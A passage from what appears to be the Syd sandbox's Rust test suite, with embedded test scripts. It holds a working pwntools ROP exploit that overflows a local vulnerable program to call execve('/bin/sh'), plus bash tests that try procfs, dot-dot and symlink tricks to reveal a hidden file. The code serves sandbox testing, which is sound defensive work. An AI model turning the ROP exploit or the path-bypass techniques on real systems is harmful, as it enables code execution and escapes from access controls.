stderr=subprocess.PIPE,
stdout=subprocess.PIPE,
)
log.info(result.stderr.decode())
log.info(result.stdout.decode())
except subprocess.CalledProcessError as e:
log.warn(
f"Compilation of vulnerable program failed. Exiting.\n{e.stderr.decode()}"
)
sys.exit(127)
def generate_rop():
# Set context for pwntools.
context.binary = "./vuln"
elf = ELF("./vuln")
# Ensure core dumps are unlimited.
log.info("Setting core dump size to unlimited.")
try:
subprocess.run(
["prlimit", "--pid", str(os.getpid()), "--core=unlimited"], check=True
)
except subprocess.CalledProcessError:
log.warn("Failed to set core dump size to unlimited.")
log.warn("The next step may fail.")
# Generate a cyclic pattern and send it to the vulnerable program.
log.info("Generating cyclic pattern to find offset.")
pattern = cyclic(128)
p = process("./vuln")
p.sendline(pattern)
p.wait()
# Extract the core dump.
core = p.corefile
arch = context.arch
if arch == "amd64" or arch == "i386":
stack_pointer = "rsp"
elif arch == "arm" or arch == "aarch64":
stack_pointer = "sp"
else:
log.warn(f"Unsupported architecture: {arch}")
sys.exit(127)
offset = cyclic_find(core.read(getattr(core, stack_pointer), 4))
log.info(f"Offset is {offset}.")
log.info(f"Removing coredump file '{core.path}'")
try:
os.remove(core.path)
except:
log.warn(f"Failed to remove coredump file '{core.path}'")
# Clear ROP cache.
try:
ROP.clear_cache()
except:
pass
# Find ROP gadgets.
log.info("Finding ROP gadgets and locating '/bin/sh'")
rop = ROP(elf)
# Find /bin/sh string.
bin_sh = next(elf.search(b"/bin/sh"))
log.info("Located '/bin/sh' at %#x." % bin_sh)
# Find argument array.
sh_argv = elf.symbols.get("sh_argv")
log.info("Located 'sh_argv' at %#x." % sh_argv)
# Construct the payload.
log.info("Constructing the ROP chain.")
payload = b"A" * offset # Overflow buffer.
# Add ROP chain to the payload.
rop.call("execve", [bin_sh, sh_argv, 0])
payload += rop.chain()
# Print payload for debugging
log.info("ROP payload is %d bytes." % len(payload))
print(rop.dump(), file=sys.stderr)
with open("rop.txt", "w") as f:
print(rop.dump(), file=f)
log.info("ROP textual dump saved to 'rop.txt' for inspection.")
# Save the ROP details to a file.
with open("rop.bin", "wb") as f:
f.write(payload)
log.info("ROP payload saved to file 'rop.bin'")
log.info('Do "stack-pivot run" in the same directory to perform exploitation.')
def run_exploit(timeout="10"):
timeout=int(timeout)
# Load the ROP details from the file.
with open("rop.bin", "rb") as f:
payload = f.read()
# Function to attempt exploit without using pwntools
def attempt_exploit(timeout=10):
try:
p = subprocess.Popen(["./vuln"], stdin=subprocess.PIPE)
log.info("Writing the ROP payload to vulnerable program's standard input.")
p.stdin.write(payload + b"\n")
log.info("Flushing vulnerable program's standard input.")
p.stdin.flush()
log.info("Closing vulnerable program's standard input.")
p.stdin.close()
log.info(f"Waiting for {timeout} seconds...")
p.wait(timeout=timeout)
except subprocess.TimeoutExpired:
log.warn("Timeout expired!")
return False
except Exception:
try: p.kill()
except: pass
return False
return p.returncode == 42 and os.path.exists("pwned")
# Attempt the exploit up to 10 times.
max_attempts = 10
for attempt in range(max_attempts):
log.info("Running the vulnerable program.")
log.info(f"Attempt {attempt + 1} of {max_attempts} with {timeout} seconds timeout.")
if attempt_exploit(timeout):
log.warn("Successfully smashed the stack using a ROP chain!")
sys.exit(42)
else:
log.info(f"Attempt {attempt + 1} failed.")
log.info("All attempts failed.")
sys.exit(0)
def clean():
for temp_file in TEMP_FILES:
if os.path.exists(temp_file):
shutil.rmtree(temp_file)
def print_help():
print("Usage:")
print("stack-pivot init - Runs the preparation")
print("stack-pivot run - Runs the exploitation")
print("stack-pivot clean - Runs the cleanup")
print("stack-pivot help - Prints this help message")
print("stack-pivot - Prints this help message")
def main():
if len(sys.argv) < 2:
print_help()
sys.exit(0)
elif sys.argv[1] == "init":
compile_vuln()
generate_rop()
elif sys.argv[1] == "run":
run_exploit(sys.argv[2] if len(sys.argv) > 2 else "10")
elif sys.argv[1] == "clean":
clean()
else:
print_help()
sys.exit(0)
if __name__ == "__main__":
main()
"##;
fn init_stack_pivot() -> bool {
// Write the python3 code to a temporary file.
match File::create("stack-pivot") {
Ok(mut file) => {
if let Err(e) = file.write_all(STACK_PIVOT_CODE.as_bytes()) {
eprintln!("Failed to write to file stack-pivot: {e}");
return false;
}
}
Err(e) => {
eprintln!("Failed to create file stack-pivot: {e}");
return false;
}
}
if let Err(e) = syd::fs::chmod_x("./stack-pivot") {
eprintln!("Failed to set stack-pivot executable: {e}");
return false;
}
// Prepare attack unsandboxed.
let status = Command::new("python3")
.arg("./stack-pivot")
.arg("init")
.stdin(Stdio::null())
.status();
match status {
Ok(status) => {
if !status.success() {
eprintln!("Preparation of stack pivot attack failed with status: {status}");
false
} else {
true
}
}
Err(e) => {
eprintln!("Failed to execute stack-pivot command: {e}");
false
}
}
}
// Also available at dev/magicsym_test.sh
const MAGIC_SYMLINKS_TEST_SCRIPT: &str = r##"
#!/usr/bin/env bash
# Integration tests for Linux proc(5) magic symlinks
#
# Copyright (c) 2025 Ali Polatel <alip@chesswob.org>
# SPDX-License-Identifier: GPL-3.0
set -Euo pipefail
# Minimal test harness
PASS=0
FAIL=0
SKIP=0
TOTAL=0
green=$'\e[32m'; red=$'\e[31m'; yellow=$'\e[33m'; reset=$'\e[0m'
ok() { PASS=$((PASS+1)); TOTAL=$((TOTAL+1)); printf "%b\n" "${green}[ ok ]${reset} $1"; }
notok() { FAIL=$((FAIL+1)); TOTAL=$((TOTAL+1)); printf "%b\n" "${red}[fail]${reset} $1"; printf " => %s\n" "$2" >&2; }
skip() { SKIP=$((SKIP+1)); TOTAL=$((TOTAL+1)); printf "%b\n" "${yellow}[skip]${reset} $1"; }
skip_multi() {
# $1 label, $2 count
local _label="$1" _n="$2" i
for ((i=1;i<=_n;i++)); do
skip "${_label} (missing ${i}/${_n})"
done
}
STATUS_FILE=".t_status.$$"
cleanup() { rm -f -- "$STATUS_FILE" a.txt myfifo || true; }
trap cleanup EXIT INT TERM
_run_store() {
# Print command output to STDOUT; write exit code to $STATUS_FILE.
{ set +e; "$@"; printf "%s" $? >"$STATUS_FILE"; } 2>&1
}
_read_status() {
cat "$STATUS_FILE" 2>/dev/null || printf "127"
}
expect_success() {
local name="$1"; shift
local o s; o="$(_run_store "$@")"; s="$(_read_status)"
if [ "$s" -ne 0 ]; then notok "$name" "exit $s; out: $o"; else ok "$name"; fi
}
expect_fail() {
local name="$1"; shift
local o s; o="$(_run_store "$@")"; s="$(_read_status)"
if [ "$s" -eq 0 ]; then notok "$name" "expected failure; out: $o"; else ok "$name"; fi
}
expect_match() {
local name="$1" pat="$2"; shift 2
local o s; o="$(_run_store "$@")"; s="$(_read_status)"
if [ "$s" -ne 0 ]; then notok "$name" "exit $s; out: $o"; return; fi
printf "%s" "$o" | grep -Eq -- "$pat" || { notok "$name" "no match /$pat/ in: $o"; return; }
ok "$name"
}
expect_readlink_match() {
local name="$1" p="$2" pat="$3"
if [[ ! -e "$p" ]]; then skip "$name: missing $p"; return; fi
local o s; o="$(_run_store readlink "$p")"; s="$(_read_status)"
if [ "$s" -ne 0 ]; then notok "$name" "exit $s; out: $o"; return; fi
printf "%s" "$o" | grep -Eq -- "$pat" || { notok "$name" "no match /$pat/ in: $o"; return; }
ok "$name"
}
expect_is_symlink(){ local name="$1" p="$2"; [[ -e "$p" ]] || { skip "$name: missing $p"; return; }; [[ -L "$p" ]] || { notok "$name" "not symlink: $p"; return; }; ok "$name"; }
expect_is_dir() { local name="$1" p="$2"; [[ -e "$p" ]] || { skip "$name: missing $p"; return; }; [[ -d "$p" ]] || { notok "$name" "not dir: $p"; return; }; ok "$name"; }
expect_not_dir() { local name="$1" p="$2"; [[ -e "$p" ]] || { skip "$name: missing $p"; return; }; [[ ! -d "$p" ]] || { notok "$name" "unexpected dir: $p"; return; }; ok "$name"; }
expect_same_str() { local name="$1" a="$2" b="$3"; [[ "$a" == "$b" ]] || { notok "$name" "A='$a' B='$b'"; return; }; ok "$name"; }
# Fixtures
printf "hello" > a.txt
exec {FD_A}< a.txt
printf "bye" > z.tmp && exec {FD_Z}< z.tmp && rm -f z.tmp
rm -f myfifo
mkfifo myfifo
# O_RDWR open of FIFO avoids blocking
exec {FD_F}<> myfifo
PID=$$
THREAD_LINK="$(_run_store readlink /proc/thread-self || true)"; _read_status >/dev/null || true
TID="${THREAD_LINK##*/}"
TGID="$PID"
# Namespace kinds
NS_KINDS=(cgroup ipc mnt net pid pid_for_children time time_for_children user uts)
ns_token_base() {
case "$1" in
pid_for_children) echo "pid" ;;
time_for_children) echo "time" ;;
*) echo "$1" ;;
esac
}
ns_token_id() { # extract numeric id from readlink token, else empty
local tok="$1" id
id="${tok##*[}"; id="${id%]*}"
[[ "$id" =~ ^[0-9]+$ ]] && printf "%s" "$id" || printf ""
}
# Build contexts; include task ctx even if absent so totals remain fixed (missing -> SKIP)
CTX=("/proc/self" "/proc/thread-self" "/proc/$PID" "/proc/$TGID/task/$TID")
# --------------------------- sanity: proc mount & basics ----------------------
expect_is_dir "proc mounted" /proc
expect_readlink_match "/proc/self resolves to PID" /proc/self '^[0-9]+$'
# accept both "self/task/<tid>" and "<pid>/task/<tid>"
expect_readlink_match "/proc/thread-self shape" /proc/thread-self '^([0-9]+|self)/task/[0-9]+$'
# exe/cwd/root checks
expect_is_symlink "/proc/self/exe is symlink" /proc/self/exe
expect_readlink_match "/proc/self/exe absolute" /proc/self/exe '^/.*'
# portable zero-byte read using head -c0
expect_success "read 0 bytes from exe" head -c0 /proc/self/exe
expect_fail "trailing slash on exe is not a dir" stat /proc/self/exe/
expect_is_symlink "/proc/self/cwd is symlink" /proc/self/cwd
PWD_ESC="$(printf '%s' "$PWD" | sed 's/[][\.^$*+?()|{}]/\\&/g')"
expect_readlink_match "/proc/self/cwd equals PWD" /proc/self/cwd "^${PWD_ESC}/?$"
expect_is_dir "/proc/self/cwd/ is dir" /proc/self/cwd/
expect_is_symlink "/proc/self/root is symlink" /proc/self/root
expect_readlink_match "/proc/self/root points to /" /proc/self/root '^/$'
expect_is_dir "/proc/self/root/ is dir" /proc/self/root/
# fd indirection
FD_PATH="/proc/self/fd/$FD_A"
expect_is_symlink "$FD_PATH is symlink" "$FD_PATH"
expect_readlink_match "$FD_PATH ends with a.txt" "$FD_PATH" 'a\.txt$'
expect_match "cat via fd returns content" '^hello$' cat "$FD_PATH"
# deleted file fd shows (deleted)
# on NFSv3 it may show as .nfs${hex}
FDZ_PATH="/proc/self/fd/$FD_Z"
expect_is_symlink "$FDZ_PATH is symlink" "$FDZ_PATH"
expect_readlink_match "$FDZ_PATH shows deleted suffix" "$FDZ_PATH" '( \(deleted\)|.nfs[0-9a-fA-F]+)$'
expect_match "cat deleted fd still readable" '^bye$' cat "$FDZ_PATH"
# fifo behavior
FDF_PATH="/proc/self/fd/$FD_F"
expect_is_symlink "$FDF_PATH is symlink" "$FDF_PATH"
expect_readlink_match "$FDF_PATH points to path" "$FDF_PATH" "^${PWD_ESC}/myfifo$"
# stdio descriptors present
for n in 0 1 2; do
expect_success "/proc/self/fd has $n" bash -c 'ls /proc/self/fd | grep -qx '"$n"
done
# Namespace helpers
ns_exists() { [[ -e "$1/ns/$2" ]]; }
ns_token() { _run_store readlink "$1/ns/$2"; }
ns_expect_symlink_and_token() {
local ctx="$1" ns="$2" label="$3" path="$ctx/ns/$ns"
if ! ns_exists "$ctx" "$ns"; then skip_multi "$label: $path" 2; return; fi
local base; base="$(ns_token_base "$ns")"
expect_is_symlink "$label: symlink $path" "$path"
expect_readlink_match "$label: token $path" "$path" "^${base}:\[[0-9]+\]$"
}
ns_expect_read_failers() {
local ctx="$1" ns="$2" label="$3" path="$ctx/ns/$ns"
if ! ns_exists "$ctx" "$ns"; then skip_multi "$label: $path" 6; return; fi
expect_fail "$label: dd" dd if="$path" of=/dev/null bs=1 count=1 status=none
expect_fail "$label: cat" cat "$path" >/dev/null
expect_fail "$label: head" head -c1 "$path"
expect_fail "$label: wc" bash -c 'wc -c < "'"$path"'" >/dev/null'
expect_fail "$label: slash" stat "$path/"
expect_fail "$label: write" bash -c 'echo X > "'"$path"'"'
}
# Kernel behavior: readlink -f yields "/proc/<pid>[/task/<tid>]/ns/<name_base>:[id]"
# and "stat -L -c %s" prints size 0. Treat both as success conditions.
ns_expect_resolve_behavior() {
local ctx="$1" ns="$2" label="$3" path="$ctx/ns/$ns"
if ! ns_exists "$ctx" "$ns"; then skip_multi "$label: $path" 2; return; fi
local base; base="$(ns_token_base "$ns")"
local re="(^/proc/[0-9]+(/task/[0-9]+)?/ns/|.*/)${base}:\[[0-9]+\]$"
expect_match "$label: readlink -f" "$re" readlink -f "$path"
expect_match "$label: stat -L size0" '^0$' stat -L -c %s "$path"
}
ns_expect_variants_equal_token() {
local ctx="$1" ns="$2" label="$3"
local base="$ctx/ns/$ns"
if ! ns_exists "$ctx" "$ns"; then skip_multi "$label: $base" 6; return; fi
local tok s; tok="$(ns_token "$ctx" "$ns")"; s="$(_read_status)"
if [ "$s" -ne 0 ]; then
# 6 planned checks -> fail all distinctly so totals stay correct
notok "$label: base token" "exit $s"
notok "$label: // variant" "base token missing"
notok "$label: /ns//" "base token missing"
notok "$label: /// variant" "base token missing"
notok "$label: ./ variant" "base token missing"
notok "$label: ../ variant" "base token missing"
return
fi
local variants=(
"$ctx//ns/$ns"
"$ctx/ns//$ns"
"$ctx///ns///$ns"
"$ctx/./ns/./$ns"
"$ctx/ns/../ns/$ns"
"${ctx%/}/ns/${ns%/}"
)
local v t
for v in "${variants[@]}"; do
t="$(_run_store readlink "$v")"; s="$(_read_status)"
if [ "$s" -ne 0 ]; then notok "$label: $(basename "$v")" "exit $s; out: $t"; continue; fi
expect_same_str "$label: $(basename "$v")" "$t" "$tok"
done
}
ns_expect_dot_variants_fail() {
local ctx="$1" ns="$2" label="$3" p="$ctx/ns/$ns"
if ! ns_exists "$ctx" "$ns"; then skip_multi "$label: $p" 2; return; fi
expect_fail "$label: dot" stat "$p/."
expect_fail "$label: dotdot" bash -c ': > "'"$p/../$ns"'"'
}
ns_expect_tools_fail_min() {
local ctx="$1" ns="$2" label="$3" p="$ctx/ns/$ns"
if ! ns_exists "$ctx" "$ns"; then skip_multi "$label: $p" 2; return; fi
expect_fail "$label: head" head -c1 -- "$p"
expect_fail "$label: tail" tail -c1 -- "$p"
}
# GROUP A: core symlink+token
for ctx in "${CTX[@]}"; do
for ns in "${NS_KINDS[@]}"; do
ns_expect_symlink_and_token "$ctx" "$ns" "A[$ctx][$ns]"
done
done
# GROUP B: read failers
for ctx in "${CTX[@]}"; do
for ns in "${NS_KINDS[@]}"; do
ns_expect_read_failers "$ctx" "$ns" "B[$ctx][$ns]"
done
done
# GROUP C: resolve behavior
for ctx in "${CTX[@]}"; do
for ns in "${NS_KINDS[@]}"; do
ns_expect_resolve_behavior "$ctx" "$ns" "C[$ctx][$ns]"
done
done
# GROUP D: variant token equality
for ctx in "${CTX[@]}"; do
for ns in "${NS_KINDS[@]}"; do
ns_expect_variants_equal_token "$ctx" "$ns" "D[$ctx][$ns]"
done
done
# GROUP E: dot-variants fail
for ctx in "${CTX[@]}"; do
for ns in "${NS_KINDS[@]}"; do
ns_expect_dot_variants_fail "$ctx" "$ns" "E[$ctx][$ns]"
done
done
# GROUP F: cross-context token-ID equality
pairs=(
"0 1" "0 2" "0 3"
"1 2" "1 3" "2 3"
)
for ns in "${NS_KINDS[@]}"; do
for pr in "${pairs[@]}"; do
i="${pr% *}"; j="${pr#* }"
ctxA="${CTX[$i]}"; ctxB="${CTX[$j]}"
a="$ctxA/ns/$ns"; b="$ctxB/ns/$ns"
if [[ -e "$a" && -e "$b" ]]; then
ta="$(ns_token "$ctxA" "$ns")"; sa="$(_read_status)"
tb="$(ns_token "$ctxB" "$ns")"; sb="$(_read_status)"
if [ "$sa" -eq 0 ] && [ "$sb" -eq 0 ]; then
ia="$(ns_token_id "$ta")"; ib="$(ns_token_id "$tb")"
if [[ -n "$ia" && -n "$ib" ]]; then
expect_same_str "F[$ns] id ${ctxA##*/}==${ctxB##*/}" "$ia" "$ib"
else
skip "F[$ns] missing ids ${ctxA##*/}/${ctxB##*/}"
fi
else
skip "F[$ns] token read failed ${ctxA##*/}/${ctxB##*/}"
fi
else
skip "F[$ns] ${ctxA##*/} vs ${ctxB##*/} missing"
fi
done
done
# GROUP G: child==base token-ID eq
for ctx in "${CTX[@]}"; do
for child in pid_for_children time_for_children; do
base="$(ns_token_base "$child")"
pa="$ctx/ns/$child"; pb="$ctx/ns/$base"
if [[ -e "$pa" && -e "$pb" ]]; then
ta="$(ns_token "$ctx" "$child")"; sa="$(_read_status)"
tb="$(ns_token "$ctx" "$base")"; sb="$(_read_status)"
if [ "$sa" -eq 0 ] && [ "$sb" -eq 0 ]; then
ia="$(ns_token_id "$ta")"; ib="$(ns_token_id "$tb")"
if [[ -n "$ia" && -n "$ib" ]]; then
expect_same_str "G[$ctx][$child==$base] id" "$ia" "$ib"
else
skip "G[$ctx][$child] missing id"
fi
else
skip "G[$ctx][$child] token read failed"
fi
else
skip "G[$ctx][$child] missing"
fi
done
done
# GROUP H: id positive
for ctx in "${CTX[@]}"; do
for ns in "${NS_KINDS[@]}"; do
p="$ctx/ns/$ns"
if [[ -e "$p" ]]; then
tok="$(_run_store readlink "$p")"; s="$(_read_status)"
if [ "$s" -eq 0 ]; then
id="$(ns_token_id "$tok")"
[[ -n "$id" && "$id" -gt 0 ]] \
&& ok "H[$ctx][$ns] id>0 ($id)" \
|| notok "H[$ctx][$ns] id>0" "token=$tok"
else
notok "H[$ctx][$ns] readlink failed" "exit $s"
fi
else
skip "H[$ctx][$ns] missing"
fi
done
done
# GROUP I: trailing-slash existence
for ctx in "${CTX[@]}"; do
for ns in "${NS_KINDS[@]}"; do
p="$ctx/ns/$ns"
if [[ -e "$p" ]]; then
if [[ -e "$p/" ]]; then
notok "I[$ctx][$ns] exists with slash" "$p/"
else
ok "I[$ctx][$ns] no-exist with slash"
fi
else
skip "I[$ctx][$ns] missing"
fi
done
done
# GROUP J: ls -l shows arrow
for ctx in "${CTX[@]}"; do
nsdir="$ctx/ns"
if [[ -d "$nsdir" ]]; then
listing="$(_run_store ls -l "$nsdir")"; _read_status >/dev/null || true
for ns in "${NS_KINDS[@]}"; do
p="$nsdir/$ns"
if [[ -e "$p" ]]; then
printf "%s" "$listing" | grep -Eq -- "[[:space:]]$ns[[:space:]]->[[:space:]]" \
&& ok "J[$ctx][$ns] ls shows arrow" \
|| notok "J[$ctx][$ns] ls shows arrow" "no '$ns ->' in listing"
else
skip "J[$ctx][$ns] missing"
fi
done
else
for ns in "${NS_KINDS[@]}"; do
skip "J[$ctx][$ns] ns dir missing"
done
fi
done
# GROUP K: tool failers minimal
for ctx in "${CTX[@]}"; do
for ns in "${NS_KINDS[@]}"; do
ns_expect_tools_fail_min "$ctx" "$ns" "K[$ctx][$ns]"
done
done
# GROUP L: core fd/cwd/exe across contexts
FD_PATH_SELF="/proc/self/fd/$FD_A"
FD_PATH_TSELF="/proc/thread-self/fd/$FD_A"
FD_PATH_PID="/proc/$PID/fd/$FD_A"
# exe trailing slash not dir
expect_fail "L[exe slash] self" stat /proc/self/exe/
expect_fail "L[exe slash] thread-self" stat /proc/thread-self/exe/
expect_fail "L[exe slash] pid" stat "/proc/$PID/exe/"
# exe open-only zero bytes ok
expect_success "L[exe head0] self" head -c0 /proc/self/exe
expect_success "L[exe head0] thread-self" head -c0 /proc/thread-self/exe
expect_success "L[exe head0] pid" head -c0 "/proc/$PID/exe"
# cwd trailing slash is dir
expect_is_dir "L[cwd dir] self" /proc/self/cwd/
expect_is_dir "L[cwd dir] thread-self" /proc/thread-self/cwd/
expect_is_dir "L[cwd dir] pid" "/proc/$PID/cwd/"
# fd/<n> trailing slash not dir
expect_fail "L[fd slash] self" stat "$FD_PATH_SELF/"
expect_fail "L[fd slash] thread-self" stat "$FD_PATH_TSELF/"
expect_fail "L[fd slash] pid" stat "$FD_PATH_PID/"
# Summary
echo
printf "Total: %d Pass: %d Fail: %d Skip: %d\n" "$TOTAL" "$PASS" "$FAIL" "$SKIP"
exit $(( FAIL > 0 ))
"##;
// Also available at dev/unhide_test.sh
const PATH_UNHIDE_TEST_SCRIPT: &str = r##"
#!/bin/bash
# Stat sandbox tests to ensure hidden paths cannot be made visible
# via procfs magic, dot/dotdot traversals, symlinks, or combinations thereof.
#
# Copyright (c) 2025 Ali Polatel <alip@chesswob.org>
# SPDX-License-Identifier: GPL-3.0
set -eu
PASS=0 FAIL=0 SKIP=0
ok() { PASS=$((PASS+1)); printf "[ ok ] %s\n" "$*"; }
fail() { FAIL=$((FAIL+1)); printf "[fail] %s\n" "$*"; }
must_block() {
# Hidden target must not be observable via stat -L on the constructed path.
# Any success means canonicalizer+sandbox let the hidden target “pass through”.
if stat -L -- "$1" >/dev/null 2>&1; then
fail "$2 :: visible => $1"
else
ok "$2 :: blocked"
fi
}
# Test layout under current working directory
mkdir -p A B C NEST CHAINF CHAIND MIXD
: > A/secret
: > A/other
: > B/other
: > C/visible
ROOT="$(pwd -P)"
SECRET="${ROOT}/A/secret"
# Hide the file we'll try to unhide everywhere
test -c "/dev/syd/deny/stat+${SECRET}" >/dev/null
# Useful links
ln -sf A LA # dir symlink (relative)
ln -sf "${ROOT}/A" AABS # dir symlink (absolute)
ln -sf "A/secret" SREL # file symlink (relative to secret)
ln -sf "${SECRET}" SABS # file symlink (absolute to secret)
# fd anchor for /proc/self/fd/N walking (N -> ".")
exec 9<.
PID="$$"
TSCWD="/proc/thread-self/cwd"
SCWD="/proc/self/cwd"
PCWD="/proc/${PID}/cwd"
FD9="/proc/self/fd/9"
SROOT="/proc/self/root"
echo "-- [1] procfs magic symlinks ------------------------------------------------"
# 1.A: cwd magics with varied suffixes
PFX_LIST="${SCWD} ${PCWD} ${TSCWD}"
for PFX in ${PFX_LIST}; do
for SFX in \
"A/secret" "./A/secret" "A/./secret" "A//secret" "././A//secret" \
"B/../A/secret" "A/../A/secret" "./B/../A/./secret" \
"A/secret/" "A/./secret/" "B/../A/secret/" \
"LA/secret" "AABS/secret" "LA/./secret" "AABS/./secret" \
"LA/../A/secret" "AABS/../A/secret" \
"SREL" "SABS" "./SREL" "./SABS"
do
must_block "${PFX}/${SFX}" "PROC.cwds: ${PFX} + ${SFX}"
done
# redundant slashes ladder
i=1
while [ $i -le 20 ]; do
SL=""
j=1; while [ $j -le $i ]; do SL="${SL}/"; j=$((j+1)); done
must_block "${PFX}/A${SL}secret" "PROC.slashes: ${PFX} + A${SL}secret"
i=$((i+1))
done
# dotdot normalizations
for MID in "" "A/.." "B/.." "A/./.." "B/./.." "LA/.." "AABS/.."; do
must_block "${PFX}/${MID}A/secret" "PROC.dotdot: ${PFX} + ${MID}A/secret"
done
done
# 1.B: /proc/self/root with absolute paths
ABS_CANDS="
${ROOT}/A/secret
${ROOT}/A/./secret
${ROOT}/A//secret
${ROOT}/B/../A/secret
${ROOT}/A/../A/secret
${ROOT}/./A/secret
${ROOT}//A///secret
${ROOT}/A/secret/
"
for P in $ABS_CANDS; do
must_block "${SROOT}${P}" "PROC.root: ${P}"
done
i=1
while [ $i -le 30 ]; do
DOTS=""
k=1; while [ $k -le $i ]; do DOTS="${DOTS}./"; k=$((k+1)); done
must_block "${SROOT}${ROOT}/${DOTS}A/secret" "PROC.root.dots($i)"
i=$((i+1))
done
# 1.C: /proc/self/fd/9 anchor
for s in \
"A/secret" "./A/secret" "A/./secret" "B/../A/secret" "A/../A/secret" \
"LA/secret" "AABS/secret" "SREL" "SABS" "LA/./secret" "AABS/./secret"
do
must_block "${FD9}/${s}" "PROC.fd9: ${s}"
done
i=1
while [ $i -le 30 ]; do
must_block "${FD9}/./B/../A/././secret" "PROC.fd9.dots-cancel-$i"
i=$((i+1))
done
echo "-- [2] dot & dotdot group ---------------------------------------------------"
# Pure filesystem traversals (no /proc anchors)
# 2.A: canonical + noise
for P in \
"A/secret" "./A/secret" ".//A///secret" "A/./secret" "A//secret" \
"B/../A/secret" "A/../A/secret" "./B/../A/./secret" \
"A/secret/" "A/./secret/" "B/../A/secret/"
do
must_block "$P" "DOT: $P"
done
# 2.B: deep dotdot collapses
depth=1
while [ $depth -le 60 ]; do
PATHP="NEST"
i=1
while [ $i -le $depth ]; do
DN="N${i}"
mkdir -p "${PATHP}/${DN}"
PATHP="${PATHP}/${DN}"
i=$((i+1))
done
UP=""
i=1; while [ $i -le $depth ]; do UP="${UP}../"; i=$((i+1)); done
must_block "${PATHP}/${UP}A/secret" "DOTDOT: depth ${depth}"
must_block "${PATHP}/./${UP}./A/./secret" "DOTDOT+: depth ${depth}"
depth=$((depth+1))
done
echo "-- [3] symlinks group --------------------------------------------------------"
# 3.A: direct symlink probes
for L in SREL SABS; do
must_block "$L" "SYMLINK.file: $L"
must_block "./$L" "SYMLINK.file.dot: ./$L"
done
for D in LA AABS; do
for suf in "secret" "./secret" "//secret" "././secret"; do
must_block "${D}/${suf}" "SYMLINK.dir: ${D}/${suf}"
done
done
# 3.B: file symlink chains L1->...->secret
TARGET="$SECRET"
n=1
while [ $n -le 70 ]; do
L="CHAINF/L${n}"
ln -sf "$TARGET" "$L"
TARGET="$L"
must_block "CHAINF/L1" "CHAINF.len=${n}"
n=$((n+1))
done
# 3.C: dir symlink chains DL1->...->A then /secret
DTARGET="${ROOT}/A"
m=1
while [ $m -le 60 ]; do
D="CHAIND/DL${m}"
ln -sf "$DTARGET" "$D"
DTARGET="$D"
for suf in "secret" "./secret" "//secret" "././secret"; do
must_block "CHAIND/DL1/${suf}" "CHAIND.len=${m} suf=${suf}"
done
m=$((m+1))
done
echo "-- [4] mixed (proc + dotdot + symlinks) -------------------------------------"
# Tighten: hide the directory as well, then try many combinations
test -c "/dev/syd/deny/stat+${ROOT}/A" >/dev/null
# 4.A: proc cwd anchors + dir links + dotdots
for PFX in "${SCWD}" "${PCWD}" "${TSCWD}" "${FD9}" ; do
for PAT in \
"LA/secret" "LA/./secret" "LA/../A/secret" \
"AABS/secret" "AABS/./secret" "AABS/../A/secret" \
"./B/../LA/secret" "./B/../AABS/secret" \
"CHAINF/L1" "CHAIND/DL1/secret" \
"B/../CHAIND/DL1/./secret" \
"LA//secret" "AABS//secret"
do
must_block "${PFX}/${PAT}" "MIX.proc+ln: ${PFX} + ${PAT}"
done
# ladder of noise
i=1
while [ $i -le 30 ]; do
must_block "${PFX}/./B/../LA/./secret" "MIX.proc+ln+dots i=$i"
i=$((i+1))
done
done
# 4.B: /proc/self/root + absolute + symlink hops
for Q in \
"${ROOT}/LA/secret" "${ROOT}/LA/./secret" "${ROOT}/LA/../A/secret" \
"${ROOT}/AABS/secret" "${ROOT}/AABS/./secret" "${ROOT}/AABS/../A/secret" \
"${ROOT}/CHAINF/L1" "${ROOT}/CHAIND/DL1/secret" \
"${ROOT}/B/../LA/secret" "${ROOT}//LA///secret" \
"${ROOT}/./CHAIND/../CHAIND/DL1/./secret"
do
must_block "${SROOT}${Q}" "MIX.root: ${Q}"
done
# 4.C: proc cwd anchors + file symlinks directly
for PFX in "${SCWD}" "${PCWD}" "${TSCWD}" "${FD9}" ; do
for L in "SREL" "SABS" "./SREL" "./SABS"; do
must_block "${PFX}/${L}" "MIX.proc+filelink: ${PFX} + ${L}"
done
done
# 4.D: stress with growing chains after directory hidden
q=1
while [ $q -le 40 ]; do
must_block "${SCWD}/CHAINF/L1" "MIX.chainF.after-hide q=$q"
must_block "${SCWD}/CHAIND/DL1/secret" "MIX.chainD.after-hide q=$q"
q=$((q+1))
done
# Summary
printf -- "--\nTotal: %d Pass: %d Fail: %d Skip: %d\n" $((PASS+FAIL+SKIP)) "$PASS" "$FAIL" "$SKIP"
[ "$FAIL" -eq 0 ] || exit 1
"##;
// Also available at dev/srop-false-positive-1.py
const SROP_CODE_HANDLER_TOGGLE: &str = r##"
#!/usr/bin/env python3
# coding: utf-8
#
# srop-handler-toggle: False positive for Syd's SROP detection
# Copyright (c) 2025, 2026 Ali Polatel <alip@chesswob.org>
# Based in part upon python's test_signal.py.
# Released under the same license as Python.
import contextlib
import signal
import sys
import threading
import unittest
@contextlib.contextmanager
def catch_unraisable_exception():
class CM:
def __init__(self):
self.unraisable = None
cm = CM()
def hook(obj):
cm.unraisable = obj
old_hook = sys.unraisablehook
sys.unraisablehook = hook
try:
yield cm
finally:
sys.unraisablehook = old_hook
class StressTest(unittest.TestCase):
"""
Stress signal delivery, especially when a signal arrives in
the middle of recomputing the signal state or executing
previously tripped signal handlers.
"""
@unittest.skipUnless(hasattr(signal, "SIGUSR1"), "test needs SIGUSR1")
def test_stress_modifying_handlers(self):
# bpo-43406: race condition between trip_signal() and signal.signal
signum = signal.SIGUSR1
num_sent_signals = 0
num_received_signals = 0
do_stop = False
def custom_handler(signum, frame):
nonlocal num_received_signals
num_received_signals += 1
def set_interrupts():
nonlocal num_sent_signals
while not do_stop:
signal.raise_signal(signum)
num_sent_signals += 1
def cycle_handlers():
while num_sent_signals < 100 or num_received_signals < 1:
for i in range(20000):
# Cycle between a Python-defined and a non-Python handler
for handler in [custom_handler, signal.SIG_IGN]:
signal.signal(signum, handler)
old_handler = signal.signal(signum, custom_handler)
self.addCleanup(signal.signal, signum, old_handler)
t = threading.Thread(target=set_interrupts)
try:
ignored = False
with catch_unraisable_exception() as cm:
t.start()
cycle_handlers()
do_stop = True
t.join()
if cm.unraisable is not None:
# An unraisable exception may be printed out when
# a signal is ignored due to the aforementioned
# race condition, check it.
self.assertIsInstance(cm.unraisable.exc_value, OSError)
self.assertIn(
f"Signal {signum:d} ignored due to race condition",
str(cm.unraisable.exc_value),
)
ignored = True
# bpo-43406: Even if it is unlikely, it's technically possible that
# all signals were ignored because of race conditions.
if not ignored:
# Sanity check that some signals were received, but not all
